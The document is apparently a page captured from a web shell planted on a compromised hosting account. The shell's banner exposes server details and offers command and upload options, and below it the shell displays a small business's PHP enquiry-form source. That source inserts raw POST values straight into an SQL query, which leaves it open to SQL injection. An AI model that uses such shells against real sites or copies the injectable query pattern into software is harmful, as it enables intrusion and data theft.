MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/public_html/sunriseventures/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/sunriseventures/myform.php
<html>
<head>
    <meta charset="utf-8">
    <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.css">
    <link rel="stylesheet" href="https://sweetalert.js.org/assets/css/app.css">
    <script src="https://sweetalert.js.org/assets/sweetalert/sweetalert.min.js"></script>
</head>
<body>
<?php 
session_start();
  include("admin/includes/config.php");


  if(isset($_POST['add_form'])){
    $name = $_POST['name'];
    $phone = $_POST['phone'];
    $email = $_POST['email'];
    $state = $_POST['state'];
    $message = $_POST['message'];

    $query = "INSERT INTO  forms (name, phone, email, state, message) VALUES ('$name','$phone','$email','$state','$message')";
    $query_run = mysqli_query($conn, $query);

    if($query_run){
    
    
    // user
    
                                  $html_message  =   '<p>Thank you for choosing Sunrise Venture</p>';
                                  $html_message  .=   '<p>        We have received your enquiry. Our team connect you shortly </p>';
                                     $html_message  .=   '<p>       For more details you can call us on 9910511007</p>';
                                 
                                  
                                  
                                  
          
                 $to =$email ;
                //   $to ="sunrise.mittal@gmail.com" ;
                 $subject = " Enquriy ";
                //  $header = "From:$email \r\n";
                 $header = "MIME-Version: 1.0\r\n";
                 $header .= "Content-type: text/html\r\n";
                 
                 $retval = mail ($to,$subject,$html_message,$header);
                 
    
    
    // admin
    
      $html_wmessage  =   '<p>Hi Admin You have got New Enquiry Please Check Admin Panels.</p>';
      $html_wmessage  .=   '<p>Thank you </p>';


          
                //  $to ="shanudev515@gmail.com" ;
                 $to ="faujiteams@gmail.com" ;
                 $subject = " Enquriy ";
                //  $header = "From:$email \r\n";
                 $header = "MIME-Version: 1.0\r\n";
                 $header .= "Content-type: text/html\r\n";
                 
                 $retgh = mail ($to,$subject,$html_wmessage,$header);
    
    
    ?>
    <script>
         swal({
                title: "Thank You For Choosing Sunriseventures",
                text: "For more details you can call us on 9910511007",
                type: "success",
                icon: "success"
            }).then(function() {
                window.location = "index.php";
            });
         </script>
    <?php
        // $_SESSION['status'] = "Inquiry Added Successfully";
        // header('Location: index.php');
        // exit;
    } else {
        $_SESSION['status'] = "Inquiry Added Successfully";
        header('Location: index.php');
        exit;
    }
}

   ?>
</body>
</html>

MMCT - 2023